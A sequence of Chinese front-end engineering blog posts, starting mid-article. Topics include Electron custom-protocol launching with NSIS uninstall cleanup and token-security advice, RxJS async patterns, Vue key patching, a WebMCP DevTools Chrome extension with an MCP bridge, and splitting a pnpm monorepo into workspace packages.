  nsis: {
    include: './installer.nsh' // 卸载清理用,后面说
  }
}

2. 主进程监听处理 (main/index.ts)

  • 划重点:必须在 app.ready 之前调用 app.setAsDefaultProtocolClient
  • 此外,唤起有三种场景,漏掉任何一种都会导致 bug:
const CUSTOM_PROTOCOL = 'my-protocol'
// 注册(注意开发环境和生产环境参数不同)
if (process.defaultApp) {
  app.setAsDefaultProtocolClient(CUSTOM_PROTOCOL, process.execPath, [path.resolve(process.argv[1])])
} else {
  app.setAsDefaultProtocolClient(CUSTOM_PROTOCOL)
}
// 提取解析逻辑
const handleProtocolLaunch = (url: string) => {
  if (!win) return
  win.isMinimized() && win.restore()
  win.focus()
  try {
    const parsedUrl = new URL(url)
    const token = parsedUrl.searchParams.get('token')
    const redirect = parsedUrl.searchParams.get('redirect')
    if (token) {
      // 把 token 和路由发给渲染进程
      win.webContents.send('protocol-launch', { token, redirect })
    }
  } catch (e) {}
}
// 场景1:冷启动(电脑刚开机,第一次点协议唤起)
app.whenReady().then(() => {
  createWindow()
  if (process.platform === 'win32') {
    const protocolUrl = process.argv.find(arg => arg.startsWith(`${CUSTOM_PROTOCOL}://`))
    if (protocolUrl) handleProtocolLaunch(protocolUrl)
  }
})
// 场景2:热唤起(Windows 下客户端已经打开着)
app.on('second-instance', (_, commandLine) => {
  const protocolUrl = commandLine.find(arg => arg.startsWith(`${CUSTOM_PROTOCOL}://`))
  if (protocolUrl) handleProtocolLaunch(protocolUrl)
})
// 场景3:macOS 的特殊处理
app.on('open-url', (event, url) => {
  event.preventDefault()
  handleProtocolLaunch(url)
})

3. 渲染进程接收实现无缝登录

在 Vue/React 的根组件里监听 IPC,拿到 token 后,如果本地没登录就走 SSO 静默登录,如果已登录就直接 router.replace 跳转。用户体验就是:点了一下浏览器的提示,PC端瞬间闪到眼前,已经是登录状态且在对应页面了

四、容易被忽视的:卸载清理

很多类似方案在网上能找到,但极少有人提卸载的问题。

  • 痛点app.setAsDefaultProtocolClient() 这个 API 很鸡贼,它不仅会在安装时写入 HKCR\my-protocol,在客户端每次运行时,还会往 HKCU\Software\Classes\my-protocol 写入当前执行路径。
    如果用户卸载了客户端,安装包通常只清理 HKCRHKCU 里的记录还在!这就导致 Web 端去探测时,操作系统说“我认识这个协议”,然后抛出“找不到应用程序”的系统报错,或者卡死。
  • 解决:必须在 NSIS 卸载脚本里双杀:
!macro customUnInstall
  ; 杀 NSIS 安装时写入的
  DeleteRegKey HKCR "my-protocol"
  ; 杀 app.setAsDefaultProtocolClient() 运行时偷偷写入的(关键!)
  DeleteRegKey HKCU "Software\Classes\my-protocol"
  DetailPrint "已彻底清理协议注册表"
!macroend

五、🧗 踩坑实录

如果你准备照着这套方案落地,这里可以看下我踩到的坑:

坑位描述 血泪教训
协议名拼写不一致 electron-builder 里配的是 jack-hanger,代码里写的是 jackhanger。导致装了等于没装,怎么都唤不起。解决:全局提取协议名为常量。
漏掉冷启动场景 只写了 second-instance 监听,测试时因为客户端一直开着没发现。发给用户后,用户第一次点击毫无反应。解决:老老实实在 app.whenReady 里解析一遍 process.argv
双 Timeout 竞态 检测函数里写了两个 setTimeout 互相竞争,导致 Promise 被 resolve 了两次,引起内存泄漏和状态错乱。解决:设立 resolved 哨兵变量,统一走 finish() 函数。
卸载后误检测(上文提到的) 只清理了 HKCR,导致卸载后 Web 端依然误判为“已安装”。解决:NSIS 脚本加上清理 HKCU 的逻辑。
直接用 location.href 跳转 在某些浏览器(如老版 Edge)下,如果协议解析失败,整个 Web 页面会被替换成报错页。解决:坚决使用隐藏 iframe 触发。

六、延伸讨论:绕不开的拦截与安全问题

上面这套方案跑通后,体验确实丝滑,但在真实复杂的网络环境下,我们还得面对两个灵魂拷问:

1. 浏览器拦截问题:探测总是不准怎么办?

你会发现,现代浏览器(尤其是 Chrome)对自定义协议的拦截越来越严。

  • 首次触发拦截:Chrome 在遇到不认识的 custom-protocol:// 时,可能会在地址栏底下弹一个条:“请确认是否打开 XXX 应用”,或者直接弹一个系统级警告框。这会严重干扰我们的“失焦计时”判断,导致本来判定为 running 的状态变成了 none 或者超时。
  • 如何缓解
    • 延迟探测:页面加载后不要立刻测,延迟个 2–3 秒,避免跟页面的其他核心渲染抢焦点。
    • 降级处理:接受“检测不准”的现实。如果检测出 none,但在页面上依然放一个肉眼可见的“打开客户端”的按钮。用户手动点击时,浏览器对用户主动触发的协议拦截容忍度会高很多。
    • 不要过度依赖黑魔法:如果业务强依赖这种拉起,考虑走 WebSocket 长连接。客户端开机启动一个后台服务监听本地端口,网页直接 fetch('http://127.0.0.1:xxx/ping'),这种基于 HTTP 的探测比自定义协议稳得多(很多大厂云盘就是这么干的)。

2. 安全问题:URL 里明文传 Token 靠谱吗?

我们在唤起时用了 my-protocol://launch?token=xxx,这里埋了两个雷:

  • 泄露风险:在 Windows 的某些日志系统、或者使用了历史记录同步的浏览器中,完整的 URL 可能会被明文记录上报。Token 一旦泄露,相当于账号被盗。
  • 协议劫持:如果用户电脑上被植入了恶意软件,恶意软件抢先在注册表里注册了 my-protocol,那么网页触发时,实际上是恶意软件接收到了这个 Token。
  • 更安全的做法:抛弃直接传 Token 的思路,改用一次性授权码
    1. 网页端唤起前,先调后端接口生成一个 5 分钟有效期的短 code
    2. 唤起 URL 变成:my-protocol://launch?code=abc123
    3. 客户端拿到 code 后,走本地的 HTTP 接口或直接调后端接口,用 code 换真正的 token
    4. 即使 code 被劫持或记录,因为有效期极短且只能用一次,风险也完全可控。

总结

Web 端唤起桌面端并不是什么黑科技,处理好了失焦时间差、隐藏 iframe、三种启动场景和注册表双清,就能打造出一个极其丝滑、无侵入的跨端导流体验。


从观察者模式到 RxJS:让复杂的异步逻辑变得优雅又舒服


深度剖析:从原生观察者模式到 RxJS,彻底降伏前端异步洪荒

在我们日常的前端开发中,尤其是面对极其复杂的业务中台、微前端架构或是高度动态的交互页面时,Promiseasync/await 往往显得力不从心。为什么?因为它们天生只能处理单次的异步结果。

今天,我们将从最基础的观察者模式(Observer Pattern)出发,一步步推演出为何我们需要 RxJS,并深入探讨它在真实业务场景中的杀手级应用。

本文代码侧重于原生 JS 与 RxJS 的核心逻辑结合。在 Vue3 框架中,我们通常会在 setup 阶段构建流,并在 onUnmounted 中统一执行 unsubscribe 以确保内存安全。享受 Vibe Coding 带来业务提效的同时,别忘了偶尔回归底层,可以过一遍,在聪明的小脑瓜里面留下索引哦!😉

一、 起点:原生观察者模式的实现

前端无处不在的 addEventListener 就是观察者模式的变体。它的核心理念非常简单:发布者(Publisher)维护一个状态,当状态变更时,主动通知所有订阅者(Subscriber)。

我们先用原生 JS 手写一个标准的观察者:

// 1. 定义发布者 (Subject)
class Subject {
  constructor() {
    this.observers = []; // 维护订阅者名单
  }

  subscribe(observer) {
    this.observers.push(observer);
    // 返回一个取消订阅的函数,防止内存泄漏
    return () => {
      this.observers = this.observers.filter(obs => obs !== observer);
    };
  }

  next(data) {
    // 广播:通知所有订阅者
    this.observers.forEach(observer => observer(data));
  }
}

// 2. 业务使用场景:简单的状态同步
const userStatus$ = new Subject();

// A 模块订阅
const unsubscribeA = userStatus$.subscribe((status) => {
  console.log(`[模块A] 收到用户状态更新: ${status}`);
});

// B 模块订阅
userStatus$.subscribe((status) => {
  console.log(`[模块B] 调整 UI 适配状态: ${status}`);
});

// 状态变更,触发广播
userStatus$.next('ONLINE');
userStatus$.next('OFFLINE');

// 模块A销毁时取消订阅
unsubscribeA();

观察者模式的痛点在哪?

虽然上面的代码实现了解耦,但在真实的复杂业务中,它很快就会遇到瓶颈:

  1. 无法对数据流进行“中途加工”: 每次 next 推送的数据,订阅者只能原封不动地接收。如果模块 A 需要过滤掉 OFFLINE 状态,只能在 subscribe 的回调里写 if 判断。
  2. 异步竞态处理极难: 如果每次状态变更都需要发一次网络请求,用户连续触发 3 次变更,如何保证最后一次请求的结果不会被前两次的慢请求覆盖?
  3. 缺乏生命周期管理: 原生观察者只有 next(推送数据),缺少 error(报错)和 complete(流结束)的标准机制。

二、 进化:RxJS 的降维打击

为了解决上述痛点,RxJS 在观察者模式的基础上,引入了迭代器模式函数式编程的理念。

在 RxJS 的世界里,一切皆为流(Observable) 。它不仅能发射数据,更重要的是,它提供了一条流水线(Pipe)和极其丰富的操作符(Operators) ,允许你在数据到达订阅者之前,对其进行过滤、转换、合并、防抖、截断等一系列极其优雅的操作。


三、 实战演练:RxJS 解决复杂业务痛点的 4 大核心场景

纸上得来终觉浅。接下来,我们把 RxJS 放到真实的复杂前端场景中,看看它是如何摧枯拉朽般解决问题的。

场景一:招聘管理系统的“高频复杂表单搜索与联动”

痛点描述: 在招聘后台,HR 需要通过一个输入框实时搜索候选人。要求:

  1. 必须防抖(不能每敲一个字母就发请求)。
  2. 不能发送重复的请求(比如输入 A -> 退格 -> 重新输入 A)。
  3. 最致命的竞态问题: 请求 A 耗时 2 秒,请求 B 耗时 0.5 秒。B 先返回,A 后返回,导致 UI 最终显示的是过期的 A 搜索结果。

RxJS 破局:使用 switchMap

import { fromEvent, from } from 'rxjs';
import { debounceTime, distinctUntilChanged, switchMap, filter, map } from 'rxjs/operators';

const searchInput = document.getElementById('candidate-search');

// 将原生 DOM 事件转换为流
const searchFlow$ = fromEvent(searchInput, 'input').pipe(
  // 1. 提取输入框的值
  map(e => e.target.value.trim()),
  // 2. 过滤掉空字符串
  filter(keyword => keyword.length > 0),
  // 3. 防抖:用户停顿 400ms 后才继续向下流转
  debounceTime(400),
  // 4. 剔除重复值:如果当前值和上一次触发流转的值一样,则拦截
  distinctUntilChanged(),
  // 5. 核心杀招 switchMap:自动取消上一轮未完成的 Promise/Observable
  // 彻底告别请求 A 覆盖 请求 B 的竞态 Bug
  switchMap(keyword => from(mockApiSearch(keyword))) 
);

// 最终订阅渲染
searchFlow$.subscribe({
  next: (candidates) => renderList(candidates),
  error: (err) => console.error('搜索异常', err)
});

// 模拟异步搜索请求
async function mockApiSearch(query) {
  console.log(`[发送网络请求]: ${query}`);
  const res = await fetch(`/api/candidates?q=${query}`);
  return res.json();
}

场景二:Wujie (无界) 微前端架构下的跨应用“事件总线”

痛点描述: 在采用 Wujie 进行老系统重构改造时,主应用和多个子应用之间经常需要频繁通信(例如:子应用完成了一次人员录用,需要通知主应用更新顶部的通知数量,并触发另一个工资条子应用的刷新)。传统的 window.postMessage 难以管理,极易导致事件风暴。

RxJS 破局:构建基于 Subject 的过滤型总线

import { Subject } from 'rxjs';
import { filter } from 'rxjs/operators';

// --- 主应用中定义的全局总线 (挂载在全局共享作用域) ---
export class GlobalEventBus {
  constructor() {
    this.bus$ = new Subject();
  }

  // 发射事件
  emit(eventName, payload) {
    this.bus$.next({ eventName, payload });
  }

  // 按需监听特定事件
  on(targetEventName) {
    return this.bus$.pipe(
      // 核心:直接在管道层过滤,订阅者只会收到自己关心的事件
      filter(event => event.eventName === targetEventName)
    );
  }
}

const eventBus = new GlobalEventBus();
window.$microBus = eventBus; 

// --- 子应用 A (招聘模块):触发录用 ---
window.$microBus.emit('STAFF_HIRED', { staffId: '8848', name: '张三' });

// --- 主应用:监听录用事件并更新 UI ---
const hiredSub = window.$microBus.on('STAFF_HIRED').subscribe(({ payload }) => {
  console.log(`主应用接收到录用通知,更新系统通知栏:${payload.name}`);
});

// --- 子应用 B (薪资模块):监听录用事件初始化薪资档案 ---
const salarySub = window.$microBus.on('STAFF_HIRED').subscribe(({ payload }) => {
  console.log(`薪资模块接收:准备为 ${payload.staffId} 创建薪资账套`);
});

// 切记在微前端组件卸载 (onUnmounted) 时销毁订阅!
// hiredSub.unsubscribe();

场景三:业务大盘 / 数据看板的多维接口聚合

痛点描述: 进入系统首页大盘,需要同时调用“今日入职人数”、“待处理审批流”和“最新系统公告”三个毫无关联的接口。我们需要等它们全部返回后,消除 loading 状态,统一渲染。Promise.all 如果其中一个挂了,整体就全挂了。

RxJS 破局:forkJoin 与容错捕获

import { forkJoin, from, of } from 'rxjs';
import { catchError } from 'rxjs/operators';

// 封装接口请求,赋予独立的错误容忍能力
const fetchWithFallback = (apiPromise, fallbackValue) => {
  return from(apiPromise).pipe(
    catchError(err => {
      console.warn('接口请求降级:', err);
      return of(fallbackValue); // 即使报错,也返回一个兜底值,不阻断全局
    })
  );
};

const onboardingStats$ = fetchWithFallback(fetch('/api/stats/onboarding'), { count: 0 });
const approvals$ = fetchWithFallback(fetch('/api/approvals/pending'), []);
const notices$ = fetchWithFallback(fetch('/api/notices'), []);

// forkJoin 相当于强大的 Promise.all
forkJoin({
  stats: onboardingStats$,
  approvals: approvals$,
  notices: notices$
}).subscribe({
  next: (dashboardData) => {
    // 隐藏整体 Loading,统一渲染视图
    hideLoading();
    console.log('大盘数据初始化完成:', dashboardData);
    // dashboardData.stats | dashboardData.approvals
  }
});

场景四:长轮询(Polling)与优雅的终止控制

痛点描述: 导出几十万条工资条记录是一个慢任务,前端提交导出请求后,需要每隔 3 秒去轮询一次后端的任务状态。直到状态变为 SUCCESS,或者用户点击了页面上的“取消导出”按钮,彻底停止轮询。

RxJS 破局:timer + takeUntil

import { timer, fromEvent, Subject } from 'rxjs';
import { switchMap, takeUntil, filter, tap } from 'rxjs/operators';

const cancelBtn = document.getElementById('cancel-export-btn');
// 点击取消按钮的流
const cancelClick$ = fromEvent(cancelBtn, 'click');

// 触发导出的流(这里用 Subject 模拟触发)
const startExport$ = new Subject();

startExport$.pipe(
  // 每次触发导出,启动一个每 3 秒触发一次的定时器流
  switchMap(() => timer(0, 3000).pipe(
    // 每次定时器触发,发请求查询状态
    switchMap(() => from(checkExportStatus())),
    // 核心杀招1:如果状态是 SUCCESS,则截断这个流,停止轮询
    filter(res => {
      if (res.status === 'SUCCESS') {
        downloadFile(res.url);
        return false; // 阻断传递,但这里如果要停止整个流通常配合 takeWhile
      }
      return true; // 继续轮询
    }),
    // 核心杀招2:如果用户点击了取消按钮,立刻强制终止这根水管,结束轮询
    takeUntil(cancelClick$)
  ))
).subscribe();

// 业务触发
startExport$.next();

// 模拟状态查询
async function checkExportStatus() {
  console.log('查询导出进度中...');
  return { status: 'PENDING' }; // 后续变为 SUCCESS
}

结语

从基础的“观察者模式”迈入“RxJS 流式编程”,思维的转变是痛苦的,但收益是极其可观的。

当你在项目中遇到了竞态竞争、需要精确控制防抖节流、需要聚合多端数据或是管理极其复杂的微前端通信体系时,你会发现原先写成一坨意大利面条式的 async/await 状态变量,在 RxJS 的管道(Pipe)中,变成了一股股清晰、独立且易于维护的数据清泉。

技术没有银弹,但 RxJS 绝对是对抗复杂前端异步流的终极武器。


从源码看vue的key和状态错乱的patch

状态错乱

喜闻乐见的不提供key更新v-for的dom会导致状态错乱问题:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
</script>

<template>
  <input type="text" v-for="i in arr">
  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

这个比较常见了,原因就是Patch的时候,由于没有key,不好判断新旧vnode中的两个元素是不是同一个的元素,对于相同类型的vnode,会直接认为可复用然后patch,导致删除的“3”的input没有被移除,而是最后一个input因为前四个都被认为可复用而认为多余给删除了!

但是出现这个错误也有个前提,那就是相关的数据没有被vue接管到

如下代码:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
  let arr2 = ref(Array.from({length: 6}))
</script>

<template>
  <input type="text" v-for="i in arr" :value="arr2[i]">

  <br>

  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

再次执行发现并不会存在相同的问题,这是因为value被vue接管到了,导致vue能够正常处理属性

从源码来看(这里就不贴源码了,大家可以自己git下来读一下):在renderer.ts的patchElement中,在PatchChildren完成后会根据patchFlag来patch props,由于vue已经接管了value的状态,所以实际上vnode的信息是正确的,只是patch的时候patch错了而已,但是即使此时删除的是最后一个input,但是经过错位,但是正确vnode信息的patch,最后表现还是正常的(这里有点绕,可以借助compiler模块的编译逻辑理解)

这个问题根源在于:patch出错但是虚拟dom的描述是没有问题的,因此vue接管的属性不会发生错误

就类似这种情况:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
</script>

<template>
  <div v-for="i in arr">{{i}}</div>

  <button @click="deleteArrItem" >change</button>
</template>

<style scoped>

</style>

但是错位patch性能不如提供key的正确的patch,因为后几个input的状态没有变化嘛,错位patch会让后几个也会被patch

这也是正常工作中很少出现这个问题的原因,因为毕竟要接管元素想要的状态嘛,不然放他在这里干嘛?

如果对compile模块和runtime模块的工作如何配合不清晰的可以看我的这篇文章:todo

组件的v-for

但是组件的v-for一定要提供key,原因如下

<script setup lang="ts">
  import {ref} from "vue";
  import InputCom from "@/component/InputCom.vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
  let arr2 = ref(Array.from({length:6}))
</script>

<template>

  <input-com v-for="i in arr" :msg="arr2[i]"></input-com>

  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

InputCom的实现:

<script setup lang="ts">
  import {ref} from "vue";

  let value1 = ref(0)
  let props = defineProps(['msg'])
</script>

<template>
  {{props.msg}}
  <input type="text" v-model="value1">
</template>

<style scoped>

</style>

此时还会出现问题,即使vue已经接管了所有的状态

这是由于patch component children的时候,并不管组件内部的实现,是相同的vnode就会按照刚才说的舍弃最后一个的方式进行patch,那这样在component上就会有大问题了,component内部的状态也是相同的:最后一个被删除了

和上一个例子不同的地方在于:一个是component的内部状态,一个是props状态,内部状态会随着patch的出错而错误移除最后一个component!

就像是上面的例子,组件内部的msg会保持正确!

key的作用?我要是不加key呢?

源码中看key用来判断两个vnode是不是同一个vnode

vue2不允许列表渲染没有key,但是vue3允许,这个改变在于,对于vue3的改进的pactch算法来说也允许不存在key,对应patchUnkeyedChildren,不加key对于没有状态的元素和组件更新更加高效,因为不需要繁琐的pacth,只需要就地更新就好!

只有v-for的patch需要key?其他的呢?

一般来说v-for, v-if会需要key,因为dom不存在稳定性,会发生dom移除增加、顺序错乱,此时key就很重要

但是对于稳定的dom,也就是不会出现增加新dom、删除dom、顺序错乱,所以此时key就不关键了

为什么vue自己不把key加上?

加了,v-if就加了,但是v-for说是业务驱动,但是我没有搞的太明白,等我搞明白了在更新上!

Chrome 内置了 AI 工具协议?WebMCP 抢先体验 + 开源 DevTools 全解析

上周在逛 Chrome 的实验性 API 时,我发现了一个让我瞬间坐直的东西:

navigator.modelContext

这是 Chrome 正在实验的一个浏览器原生 API,允许网页直接给 AI 注册可调用的工具。没错,不是第三方库,不是 npm 包,是浏览器原生的。

我当时的反应是:这不就是 MCP 的浏览器版?

于是我花了两周做了一个 Chrome 扩展,不仅能调试这些工具,还能把浏览器里的工具桥接到 Cursor 里直接用。今天把整个过程和思路分享出来。

项目已开源,文末有链接。


先说结论:WebMCP 是什么

你大概率听过 MCP(Model Context Protocol),Anthropic 搞的那个 AI 工具调用协议。现在几乎所有 AI 客户端都支持了。

WebMCP 做的事情更激进 —— 它让浏览器成为工具的载体。

一段 JavaScript 就够了:

navigator.modelContext.registerTool({
  name: 'get_weather',
  description: '查询城市天气',
  inputSchema: {
    type: 'object',
    properties: {
      city: { type: 'string', description: '城市名' }
    },
    required: ['city']
  },
  execute: async ({ city }) => {
    const res = await fetch(`/api/weather?city=${city}`);
    return res.json();
  }
});

更离谱的是,连 JavaScript 都不用写 —— HTML 表单就行:

<form toolname="coffee_order" tooldescription="点一杯咖啡">
  <select name="type" required>
    <option value="latte">拿铁</option>
    <option value="americano">美式</option>
  </select>
  <button type="submit">下单</button>
</form>

HTML 表单即工具。 你的 <form> 加两个属性,AI 就知道怎么帮你填表了。


痛点:API 有了,工具呢?

WebMCP 目前要手动启用 chrome://flags/#enable-webmcp-testing,还在实验阶段。

我启用之后遇到的第一个问题是:我注册了工具,然后呢?

  • 页面注册了哪些工具?不知道
  • Schema 长什么样?得自己 console.log
  • 想执行一下?得自己写调用代码
  • 多个标签页的工具?完全看不到

Chrome DevTools 里也没有 WebMCP 面板。

所以我决定自己做一个。


WebMCP DevTools:我做了什么

一个 Chrome 侧面板扩展,打开就能看到当前所有标签页的 WebMCP 工具。

工具检测 + Schema 可视化

自动检测所有标签页注册的工具,Schema 以树形结构展开,支持 $refallOfoneOfanyOf 等高级特性。

image.png

一键执行

点工具卡片,自动生成交互式表单。填参数,点执行,结果即时返回。也可以切换成原始 JSON 模式手写参数。

image.png

执行历史 + 性能统计

每次执行自动记录,统计成功率、平均耗时、最快最慢。还能按来源区分 —— 手动执行、AI 助手调用、还是 MCP Bridge 远程调用。

image.png

内置 AI 助手

侧面板里直接和 AI 对话,AI 可以自动调用页面上的 WebMCP 工具。

比如我说"你来选择",AI 自己调了 coffee_order,帮我点了杯拿铁:

image.png

流式输出、Markdown 渲染、代码语法高亮都有。

快照对比

保存工具定义快照,下次迭代时一键 diff —— 开发过程中特别实用。

image.png


重头戏:让 Cursor 调用浏览器里的工具

这是 2.0 版本最核心的能力。

场景: 你在浏览器里打开了一个带 WebMCP 工具的页面,你希望在 Cursor 里让 AI 直接调用这些工具。

问题: WebMCP 工具存在于浏览器沙箱里,外部 AI 客户端根本碰不到。

我的方案: 做一个 MCP Bridge Server,在浏览器和 AI 客户端之间架一座桥。

Cursor / Claude Desktop
       ↕  stdio (MCP 协议)
  MCP Bridge Server
       ↕  WebSocket (localhost)
   Chrome 扩展
       ↕  Content Script
     网页上的 WebMCP 工具

30 秒配置

npm 包已经发布了,在 Cursor 的 .cursor/mcp.json 里加一行:

{
  "mcpServers": {
    "webmcp-devtools": {
      "command": "npx",
      "args": ["-y", "webmcp-devtools-server"]
    }
  }
}

然后在扩展面板点 Bridge 连接,完事。

实际效果

在 Cursor 里列出浏览器工具:

> webmcp_list_tools

Found 8 WebMCP tool(s):
- fortune_telling: 星座运势预测 [read-only]
- split_bill: 多人聚餐后智能AA分账
- random_picker: 选择困难症终结者
- world_clock: 全球城市时间查询 [read-only]
- gen_password: 安全密码生成器
- unit_convert: 通用单位换算
- coffee_order: 下单一杯咖啡 [declarative]
- event_signup: 活动报名 [declarative]

直接调用:

> webmcp_call_tool fortune_telling {"zodiac":"天秤座","aspect":"事业"}

{
  "星座": "天秤座",
  "运势指数": "84/100",
  "幸运色": "玫瑰金",
  "今日建议": "适合整理思绪,为下周做规划"
}

从 Cursor 到浏览器页面上的工具,整条链路完全打通。


踩的一些坑

Chrome MV3 Service Worker 休眠

Service Worker 大约 30 秒无活动就会被 Chrome 干掉,WebSocket 连接随之断开。

我的方案是双层心跳保活:

  • 客户端用 chrome.alarms 每 24 秒 PING
  • 服务端每 20 秒 PING

两端互相保活,Service Worker 就不会被杀了。

端口泄漏

MCP Bridge 的 Node.js 进程如果异常退出,WebSocket 端口不会释放,下次启动就会报 EADDRINUSE

解决方案是注册所有退出信号:

process.on('SIGINT', cleanup);
process.on('SIGTERM', cleanup);
process.stdin.on('close', cleanup);
process.on('exit', () => bridge.stop());

工具消息格式

AI 的 Function Calling 对消息格式要求很严格 —— tool_calls 需要有 idtool 类型的消息需要对应 tool_call_id。这块调了不少时间才跑通。


在线体验

我做了一个中文演示页面,注册了 8 个好玩的工具供体验:

工具 说明 类型
🔮 今日运势 星座运势预测 只读
💰 AA 记账 智能分账(嵌套对象+数组) 编程式
🎲 随机决定器 选择困难症终结者 编程式
🌍 世界时钟 多城市时间对比 只读
🔑 密码生成器 安全密码+强度评估 编程式
📊 单位换算 长度/重量/温度等互转 编程式
☕ 咖啡订单 声明式表单工具 声明式
🎉 活动报名 声明式表单工具 声明式

演示页面地址

需要先启用 chrome://flags/#enable-webmcp-testing


快速上手

第一步:启用 WebMCP

chrome://flags/#enable-webmcp-testing → Enabled → 重启

第二步:安装扩展

Chrome Web Store 下载

或者从源码构建:

git clone https://github.com/2019-02-18/WebMCP-DevTools.git
cd WebMCP-DevTools && pnpm install && pnpm build

第三步:连接 MCP Bridge(可选)

{
  "mcpServers": {
    "webmcp-devtools": {
      "command": "npx",
      "args": ["-y", "webmcp-devtools-server"]
    }
  }
}

写在最后

WebMCP 还在早期实验阶段,但方向很明确:浏览器要成为 AI 的原生工具平台。

想象一下:

  • 电商网站暴露"搜索商品""加入购物车"工具
  • 银行网站暴露"查余额""转账"工具
  • 所有这些,用户授权后 AI 就能操作

这不是科幻,这是 Chrome 正在做的事。

WebMCP DevTools 是我为这个未来做的第一步 —— 帮开发者更好地开发和调试 WebMCP 工具。

GitHub: github.com/2019-02-18/…

npm: webmcp-devtools-server

Chrome Web Store: WebMCP DevTools

如果对你有帮助,点个 ⭐ 和 👍 呗。有问题欢迎评论区交流。

pnpm monorepo 下,如何把 Next.js 应用里的稳定内核拆成内部 workspace 包

在一个 Next.js 应用里,当某些模块越来越稳定、越来越可能被复用时,什么时候应该把它们拆成 packages/* 里的内部 workspace 包?

我在 AI Mind v0.0.10 里处理的,就是这样一个问题。

先简单介绍一下这个项目。AI Mind 不是一个一次性做完的 AI 产品,而是一个按版本持续演进的 AI Native Runtime Skeleton。它从本地聊天闭环出发,逐步长出结构化流式协议、Tool Calling、Skill Runtime、MCP 接入,以及后面的 Agent / 数据层能力。

ai-1.gif

当前主应用在 apps/webapp。到 v0.0.10 为止,这个项目已经能跑一条比较完整的聊天链路:请求从 /api/chat 进入,经过 chat-service 和 runtime 编排,再去衔接 skill、tool、MCP,最后以前端可消费的流式 chunk 返回。

也正因为这条主链已经逐渐跑稳,一个更具体、也更工程化的问题才会冒出来:当某一层能力已经明显稳定、也明显可能复用时,我们到底应该什么时候把它拆成 packages/* 里的内部 workspace 包?

这正是 v0.0.10 的主题。 这一版我没有一上来就把整个 Chat Runtime 抽出去,也没有为了 monorepo 先做一个“大而全”的基础包,而是先在 apps/webapp 内把聊天主链收口,再只把真正稳定的流式内核沉成 @ai-mind/stream-core

所以这篇文章不会从 pnpm monorepo 的基础配置讲起,也不会把重点放在“我又拆了一个包”。我更想复盘的是一次真实项目里很常见、也很容易做重的工程判断:

  • 什么样的代码,才值得先拆成内部 workspace 包?
  • 为什么在拆包之前,我们最好先把应用内 Runtime 的边界做稳?

先看结论

拆包不是目标。先把应用内边界收稳,再把已经跑稳的那一小块内核沉淀出来,拆包才会真的带来收益。

apps/webapppackages/stream-core 的结构示意图

v0.0.10-stream-core-cover-01.png


1. 为什么这次拆包不是从 package 开始,而是从 Runtime 收口开始

1.1 拆包不是目标,稳定边界才是目标

真正值得优先解决的,不是“怎么拆包”,而是“边界是不是已经稳了”。

在工程里,拆包本身并不天然代表结构更好。目录拆得更细,也不等于边界就更清楚。真正关键的是,我们能不能先回答下面这几个问题:

  • 这一层的语义是不是已经稳定了?
  • 它是不是已经不再强依赖当前应用里的业务编排?
  • 如果现在把它抽出去,边界会更清楚,还是只会多一层跳转?

如果这些问题还没想明白,拆包通常不会减少复杂度,只会把复杂度换个目录继续保存。

边界没稳时,抽出去的往往不是“可复用内核”,而是一份还在变化中的局部实现。它带来的结果通常也不难想象:

  • app 内还得持续频繁修改它
  • 对外接口会跟着反复抖动
  • 主链职责没有更清楚,反而多了一层跨目录理解成本

所以对我来说,拆包的前提不是“能不能拆”,而是“是不是已经稳到值得拆”。

1.2 这个问题是怎么在我的项目里出现的

AI Mind 当前是一个 Next.js + pnpm monorepo 的 AI Webapp,主应用在 apps/webapp

到这一轮之前,仓库层面的 monorepo 形态其实已经在了,但聊天主链里不少核心逻辑仍然集中在 app 内部。换句话说,目录先搭起来了,Runtime 的边界却还没有完全长清楚。

所以我要解决的,本质上不是“怎么把 monorepo 配起来”,而是“在已经存在的 monorepo 里,哪些东西真的成熟到值得沉淀成内部 workspace 包”。

如果只看目录变化,这一版像是做了两件事:

  1. chat-service 拆薄
  2. 新建了 packages/stream-core

但从工程演进角度看,它们其实是一件事的前后两步:

先把 apps/webapp 里的聊天主链收口成“薄 facade + runtime 编排层”,再把其中已经稳定的流式内核沉淀成内部 workspace 包。

也正因为先做了前一步,后面“到底什么值得拆”这件事才开始变得清楚。

我最后把这版真正要回答的问题,收成了两个判断:

  1. 聊天主链内部边界是否已经足够清晰?
  2. 哪一部分能力已经稳定到值得从 app 内部沉淀成包?

如果这两个问题不先回答,所谓 package 化就很容易退化成“目录迁移”,而不是一次真正有价值的结构升级。


2. 第一步:先把应用内 Chat Runtime 收口出来

2.1 为什么 chat-service 不能继续变胖

这版真正先动的,不是 package,而是 chat-service 这个入口层。

在一个聊天应用里,chat-service 很容易不断吸收新职责:

  • prompt 构建
  • planning / retry / final answer
  • tool / resource 执行
  • chunk 写出
  • 错误收口

短期看这样很方便,因为所有逻辑都能往一个地方放。长期看,它会慢慢变成一个很典型的“胖服务层”:

  • 外部入口和内部编排耦在一起
  • 测试越来越难写
  • 边界越来越难拆

所以 v0.0.10 的第一步不是抽包,而是先把这个入口层重新收回到它该有的位置。

2.2 我怎么把聊天主链收口成“薄 facade + runtime 编排层”

我最后把主链收成了一个更容易解释、也更容易继续演进的结构:

route
  -> chat-service facade
    -> runtime
      -> skills / tools / mcp

对应实现大致分布在这些位置:

  • apps/webapp/app/api/chat/route.ts(聊天 API 入口,负责 HTTP 边界和错误映射)
  • apps/webapp/lib/ai/chat-service.ts(聊天服务 facade,负责对外暴露稳定入口和包装响应)
  • apps/webapp/lib/ai/runtime/(聊天运行时编排层,真正组织 planning、tool 调用和最终回答)

chat-service 现在的角色已经很克制了,它不再承接整条链路的所有细节,而是只负责稳定入口和响应包装:

export function createChatService(deps: ChatServiceDependencies) {
    return {
        async streamChat(request: ChatRequest, context: ChatExecutionContext) {
            const streamResult = await createChatStreamResult(request, context, deps)

            return new Response(streamResult.body, {
                headers: streamResult.headers,
            })
        },
    }
}

